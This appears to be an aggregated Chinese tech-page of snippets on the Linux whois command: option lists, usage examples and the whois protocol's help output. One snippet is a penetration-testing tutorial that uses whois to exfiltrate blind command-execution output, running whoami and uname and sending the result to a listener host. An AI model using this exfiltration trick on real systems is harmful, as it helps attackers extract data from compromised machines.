精华内容
下载资源
问答
  • whois指令会去查找并显示指定帐号用户相关信息,因为它是到Network Solutions的WHOIS数据库去查找,所以该帐号名称必须在上面注册方能寻获,且名称没有大小写差别。 语法whois [帐号名称] 实例 显示指定用户信息...
  • 主要介绍了PHP whois查询类定义与用法,结合实例形式分析了php定义及使用whois查询类进行网站whois查询相关操作技巧,需要朋友可以参考下
  • whois命令语法 whois [选择参数] [必要参数] 选择参数 -a:搜寻所有数据库 -c:找到最小包含一个 mnt-irt 属性匹配 -d:同时返回 DNS 反向查询代理对象(需支持RPSL协议) -F:快速输出原始数据...

    用来查找并显示指定用户账号、域名相关信息,包括域名注册时间、拥有者、邮箱等,类似命令:tracepath、host、nslookup、who、pwd。

    whois命令语法

    whois [选择参数] [必要参数]
    
    选择参数
    
    -a:搜寻所有数据库
    
    -c:找到最小的包含一个 mnt-irt 属性的匹配
    
    -d:同时返回 DNS 反向查询的代理对象(需支持RPSL协议)
    
    -F:快速输出原始数据
    
    -H:隐藏法律声明内容
    
    -i:ATTR 进行一次反向查询
    
    -l:将精确度降低一级的查询 (需支持RPSL协议)
    
    -L:找到所有低精确度匹配
    
    -m:找到第一级较高精确度匹配
    
    -M:找到所有较高精确度匹配
    
    -r:查询联系信息时关闭递归查询
    
    -R:显示本地域名对象副本
    
    -x:精确匹配
    
    -h[主机]:连接到指定 HOST 服务器
    
    -p[端口]:连接到指定 PORT 端口
    
    -t[类型]:查询指定类型对象头信息
    
    -T[类型]:查找指定类型的对象
    
    -v[类型]:查询指定类型对象冗余信息
    
    -q [版本|类型]:查询特定的服务器信息(需支持RPSL协议)
    

    实例

    [root@localhost www]# whois root #显示指定用户信息
    
    [root@localhost www]# whois ywnz.com #查询域名描述信息
    
    [root@localhost www]# whois ywnz.com #查询域名信息
    
    [root@localhost www]# whois -H ywnz.com #查询域名信息省略法律声明
    
    [root@localhost www]# whois -p 80 ywnz.com #指定端口查询
    
    展开全文
  • node-whois, 用于NodeJS简单WHOIS客户端 node node WHOIS是 Node.js.的WHOIS客户端安装全局$ npm install -g whois用法whois [options] addressOptions:
  • 返回原始Whois数据Node的WHOIS客户端。 如果您希望很好地解析whois数据,则应考虑使用 这是根据基于JavaScript代码重写 安装 全球 $ npm install -g whois 用法 whois [options] address Options: -s,...
  • 节点WHOIS是Node.js的WHOIS客户端。 安装 全球 $ npm install -g whois 用法 whois [options] address Options: --version Show version number [boolean] -s, --server whois server [default: null] -f, --...
  • 出色的whois模块包装器,该模块将whois数据解析为多个tld之间一致JSON。 支持需要使用用户名和密码进行身份验证代理。 从python库借来灵感(和正则表达式) 如果您觉得此套餐有用,请给我们加星! 安装 ...
  • 一个简单简洁服务器(出血边缘,不用于生产)whois代理服务器。 描述 一个简单简洁服务器(出血边缘,不用于生产)whois代理服务器。 充当客户端(PHP脚本,iOS应用程序等)和实际的Whois服务器之间中间人,...
  • Whois解析v2 从分叉 出色的whois模块包装器,该模块将whois数据解析为跨多个tld一致JSON。 支持需要使用用户名和密码进行身份验证代理。 从python库借来灵感(和正则表达式) 如果您觉得此套餐有用,请...
  • PHP的WHOIS PHP WHOIS客户端实现。 将查询直接发送到WHOIS服务。 用例 原始和解析域查找 原始和解析ASN路由查找 直接查询TLD / ASN主机 扩展和自定义默认主机,解析器等。 通过CurlLoader进行代理 安装 系统...
  • Whois域 搜索域CNAME / MX,并通过whois获取creation_date expiration_date 依赖包 dnspython,python-whois 用法 python3 find_domain_info.py
  • 近期帮助同事在处理从纯真网络上拿到的IP信息,确定这些IP所在的城市、区县,以及这些IP属于哪些ISP。后来需要用到whois上查询的信息。 开始的几次,通过whois...cuid=1300091这篇博客介绍的用法,把教育网、电信...

    近期帮助同事在处理从纯真网络上拿到的IP信息,确定这些IP所在的城市、区县,以及这些IP属于哪些ISP。后来需要用到whois上查询的信息。
           开始的几次,通过whois命令简单的查询了一下。后来同事看到http://blog.chinaunix.net/space.php?uid=9950859&do=blog&cuid=1300091这篇博客介绍的用法,把教育网、电信、铁通、网通(之前是网通,现在算联通)的信息都拿下来了。从这些ISP中提取各自负责的IP段,处理了很多IP信息所对应的ISP,不过还是有些没有能够得到处理。就像写程序去自动处理。
           网上搜索了一下,发现其实whois的协议是非常简单的文本协议。whois服务器的端口,是43,可以直接telnet连接到whois服务器(比如 whois.apnic.net)的43端口,然后输入help,就可以查看支持的协议。
           Trying 202.12.29.222...
    Connected to whois.apnic.net (202.12.29.222).
    Escape character is '^]'.
    % [whois.apnic.net node-2]
    % Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

    help
    % -l <ip-lookup>   Returns first level less specific inetnum,
    %                  inet6num or route objects, excluding exact matches.
    % -L <ip-lookup>   Returns all level less specific inetnum,
    %                  inet6num or route objects, including exact matches.
    % -m <ip-lookup>   Returns first level more specific inetnum,
    %                  inet6num or route objects, excluding exact matches.
    % -M <ip-lookup>   Returns all level more specific inetnum,
    %                  inet6num or route objects, excluding exact matches.
    % -x <ip-lookup>   Requests that only an exact match on a prefix be
    %                  performed.  If no exact match is found no objects are
    %                  returned.
    % -c <ip-lookup>   Requests first level less specific inetnum or inet6num
    %                  objects with the "mnt-irt:" attribute.
    % -b <ip-lookup>   Requests first level less specific inetnum or inet6num
    %                  objects with the "mnt-irt:" attribute. Only object keys
    %                  and "abuse-mailbox:" attributes are visible.
    % -d <ip-lookup>   Enables use of the -m, -M, -l and -L flags for lookups on
    %                  reverse delegation domains.
    %
    % -i <attribute-name> <inverse-key> Perform an inverse query.
    %
    % -F               Produce output using short hand notation for attribute
    %                  names.
    % -K               Requests that only the primary keys of an object to be
    %                  returned.  The exceptions are set objects, where the
    %                  members attributes will also be returned. This flag does
    %                  not apply to person and role objects.
    % -k (optional normal query) Requests a persistent connection. After
    %                  returning the result the connection will not be closed by
    %                  the server and a client may issue multiple queries on the
    %                  same connection.
    %                  Note, that server implements 'stop-and-wait' protocol,
    %                  when no next query can be sent before receiving a reply
    %                  for the previous one.  Use RIPE whois3 client to be able
    %                  to send queries in batch mode.
    %                  Except the first -k query, -k without an argument closes
    %                  the persistent connection. 
    % -g (mirroring request) Request a NRTM stream from the server.
    %                  See [REF], section 4. "Mirroring the RIPE Database" for
    %                  more information".
    % -G               Disables the grouping of objects by relevance.
    % -B               Disables the filtering of "notify:", "changed:" and "e-mail:"
    %                  attributes.
    %
    % -R               Switches off use referral mechanism for domain lookups,
    %                  so that the database returns an object in the RIPE
    %                  database with the exact match with the lookup argument,
    %                  rather than doing a referral lookup.
    % -r               Switches off recursion for contact information after
    %                  retrieving the objects that match the lookup key.
    % -T (comma separated list of object types, no white space is allowed)
    %                  Restricts the types of objects to lookup in the query.
    % -a               Specifies that the server should perform lookups in all
    %                  available sources.  See also -q sources" query.
    % -s (comma separated list of sources, no white space is allowed) Specifies
    %                  which sources and in which order are to be looked up when
    %                  performing a query.
    %
    % -q sources       Returns the current set of sources along with the
    %                  information required for mirroring. See [REF], section
    %                  2.9 "Other server features" for more information.
    % -q version       Displays the current version of the server.
    % -t <object-type> Requests a template for the specified object type.
    % -V<client-tag>   Sends information about the client to the server.
    % -v <object-type> Requests a verbose template for the specified object
    %                  type.
    %
    % [REF] RIPE Database Reference Manual.
    %       http://www.ripe.net/ripe/docs/databaseref-manual.html
       whois的每次请求结束后,服务器会自动断开连接。
       有了上述的信息,我们就可以很简单去实现一个自己的whois查询功能了。比如,我这边针对单个ip的查询,就可以使用-l这个参数。
        具体就是,先创建和服务端连接的socket,
        然后通过socket发送"-l ip\r\n"给服务端
        读取响应,直到socket被关闭。
        具体代码就不贴了,非常简单,需要的同学,分分钟就写好了。

    展开全文
  • 一个基于Whoxy API反向whois工具,该工具基于@jhaddix在Bug HunterMethodology v4.02上演讲。 Whoxyrm一种基于Whoxy API反向whois工具,其基于@jhaddix在Bug HunterMethodology v4.02上演讲。 用法$ ...
  • whois-stats 允许您以 JSON 对象流形式访问这些统计信息。 用法 var stats = require ( 'whois-stats' ) ; stats . statsFromFTP ( stats . APNIC_LATEST , function ( err , stream ) { if ( err ) throw err ...
  • 代码中的用法 通过npm i freewhois --save安装 代码示例: const whois = require ( "freewhois" ) ; async function whoisLookup ( ) { const data = await whois ( "https://www.google.com" ) ; console . log...
  • jwhois searches Whois servers for the object on the command line.The host to query is taken from a global configuration file, a configuration file specified on the command line, or selected directly o...

    jwhois searches Whois servers for the object on the command line.The host to query is taken from a global configuration file, a configuration file specified on the command line, or selected directly on the command line.

    语法

    jwhois [选项]

    选项

    --version display version number and patch level

    --help display this help

    -v, --verbose verbose debug output

    -c FILE, --config=FILE use FILE as configuration file

    -h HOST, --host=HOST explicitly query HOST

    -n, --no-redirect disable content redirection

    -s, --no-whoisservers disable whois-servers.net service support

    -a, --raw disable reformatting of the query

    -i, --display-redirections display all redirects instead of hiding them

    -p PORT, --port=PORT use port number PORT (in conjunction with HOST)

    -r, --rwhois force an rwhois query to be made

    --rwhois-display=DISPLAY sets the display option in rwhois queries

    --rwhois-limit=LIMIT sets the maximum number of matches to return

    注:以上英文部分寻求网友协助翻译,翻译结果可发送至 sa(at)linuxde.net,谢谢!

    实例

    显示指定用户信息:

    # jwhois root

    //查找root用户信息

    查询域名信息:

    [root@localhost ~]# jwhois linuxde.net

    [Querying whois.verisign-grs.com]

    [Redirected to whois.west263.com]

    [Querying whois.west263.com]

    [whois.west263.com]

    Domain Name: linuxde.net

    Registry Domain ID: whois protect

    Registrar WHOIS Server: whois.west263.com

    ...省略部分内容

    展开全文
  • 用法 像通常mkpasswd命令一样使用它。 例子: mkpasswd -m sha-512 -S saltandspecies password 已知问题 从当前未实现文件中读取密码。 欢迎捐款! 发展 签出仓库后,运行bin/setup来安装依赖项。 然后,...
  • 历史 简单网页抓取工具,用于获取信息whois历史记录无需API,蜜蜂,蝴蝶和bla bla bla XD 要求 Python 2.7 lxml,请求,子进程,sys 用法: python whistory.py [名称域]
  • 可能会遇到一些复杂网络情况,导致需要执行命令没办法看到返回结果,这就给后续渗透带来很大不便,从twitter中看到一种新型命令执行结果外带方法,在这里分享记录一下先看一下whois命令使用介绍...


    在实战过程中,可能会遇到一些复杂的网络情况,导致需要执行的命令没办法看到返回结果,这就给后续渗透带来很大的不便,从twitter中看到一种新型的命令执行结果外带的方法,在这里分享记录一下
    先看一下whois命令的使用介绍
    [email protected]:~# whois -h
    whois: 选项需要一个参数 -- h
    用法: whois 【选项】 …… 对象 …… 
    
    -h HOST, --host HOST    连接到服务器 HOST
    -p PORT, --port PORT    连接到端口 PORT
    -H                      隐藏法律声明 
          --verbose         解释正在做什么 
          --help            显示帮助并退出 
          --version         输出版本信息并退出 
    
    这些标志是由 whois.ript.net 和 RIPE-like 服务器支持的: 
     -l                     寻找有更少具体匹配的一个级别 
    -L                     寻找所有更少具体匹配的级别 
    -m                   寻找有更加具体匹配的一个级别 
    -M                   寻找有更加具体的匹配的所有级别 
    -c                     寻找包含 mnt-irt 属性的最小匹配 
    -x                     精确匹配 
    -b                     return brief IP address ranges with abuse contact
    -B                     关闭对象过滤(显示 email 地址) 
    -G                    关闭相关联对象的分组 
    -d                     返回 DNS 反解授权对象 
    -i ATTR[,ATTR]...      对特定的属性( ATTR )进行逆向查询 
    -T TYPE[,TYPE]...      只寻找 TYPE 的对象 
    -K                      只返回主键 
    -r                      关闭联系信息的递归查询 
    -R                     强制显示域对象的本地副本,即使 
                             它包含引用 
    -a                     一并搜索所有的数据库镜像 
    -s SOURCE[,SOURCE]...   从 SOURCE 中搜索数据库镜像 
    -g SOURCE:FIRST-LAST   从串行的 FIRST 到 LAST 的 SOURCE 中查找更新 
    -t TYPE                 请求 TYPE 对象的模板 
    -v TYPE                 请求 TYPE 对象的详细模板 
    -q [version|sources|types]   询问制定服务器信息 
    [email protected]:~#

    仔细点就可以发现whois命令有两个参数可以连接到远程服务器-h-p
    那么我们来尝试下利用whois命令外带回显命令执行结果
    先在kali中监听一个端口用来接收回显结果


    在ubuntu中执行命令
    whois -h 192.168.159.132 -p 555 "`whoami&uname -a`"

    需要注意:这里使用的是反引号,这样才会在linux的bash环境执行命令,后面的双引号可带可不带

    执行后就看到命令的回显结果已经带出到kali中了

    展开全文
  • DNS扫描工具使用 DNS扫描工具可以用来收集信息包括:域名注册信息、域名解析服务器(DNS Server)、有效子域名 (可以用来搜集信息:域名注册信息,姓名,电话,邮箱,到期时间,有效子域名....) 1.whois ...
  • $bf = new chargen(2); // new chargen object, length 2$bf-&...generate("whois"); // generate chars and call whois functionfunction whois($str){$domain = $str.".com";$retval = shell_exec("whois $domain"...
  • Linux fwhios命令 Linux fwhios命令用于查找并显示用户...不同之处在于fwhois指令是到Network Solutions的WHOIS数据库去查找,该帐号名称必须有在上面注册才能寻获,且名称没有大小写差别。 语法fwhios [帐号名称]
  • C#函数用法实例大全

    2010-09-08 20:51:43
    do while \foreach for if switch ty catch whois 堆栈 枚举 逻辑 预定义 还是通过实例学习可以更直观理解 注意 本压缩包文件都是只读 如果装是vs2008需要转换 要把文件只读勾去
  • puavo本地配置 用于本地(特定于主机)功能配置工具,主要用于笔记本电脑,并具有用于最终用户用户界面。... apt-get install node-webkit puavo-ltsp-client ruby1.9.1 whois 用法 跑步 nw plc-ui
  • 然后,它使用whois和geoiplookup工具加载有关两个IP地理信息。 合并两个结果,并显示所有可用字段。 顾名思义,此工具可用于检测您VPN是否存在DNS泄漏。 网站可以查询您DNS服务器以了解您地理位置。 例如:...
  • 域机器人 一个用于调查域名简单 node.js 命令行实用程序。 安装 安装 用法: ./域机器人 命令 检查、whois、解决、帮助、退出
  • BACnet客户端示例C# 使用用CSharp编写基本...用法 主菜单 D-WhoIs菜单-发送各种WhoIs消息 F-RegisterForeignDevice消息 C-发送SubscribeCOV消息 R-发送ReadProperty消息 A-发送ReadProperty全部消息 W-发送Writ
  • 断剑重铸003

    2019-10-02 19:06:33
    学习思维之全局观 我们学着学着就把上下文都忘记了。最好方式就是记录简洁笔记。我把它叫作记忆碎片。 学时候潜意识中要有一张无形大网连接着...kali系统:whois工具 用法whois baidu.com 在线whois查...
  • redirect.rules 重定向规则生成工具。 这是Python重写和扩展: 基于以下内容代码架构: 此工具动态生成一个redirect.rules文件,该文件会将Sandbox环境重定向到我们...用法 usage: redirect_rules.py [-h] [-
  • Scuttlebot视图 ... 用法示例: $ sbot views.enable ~ /scuttlebot-views/example-views/whois 0 $ sbot views.get whois paul [ { " id " : " @hxGxqPrplLjRG2vtjQL87abX4QKqeLgCwQpS730nNwE=.ed25519

空空如也

空空如也

1 2 3
收藏数 59
精华内容 23
关键字:

whois的用法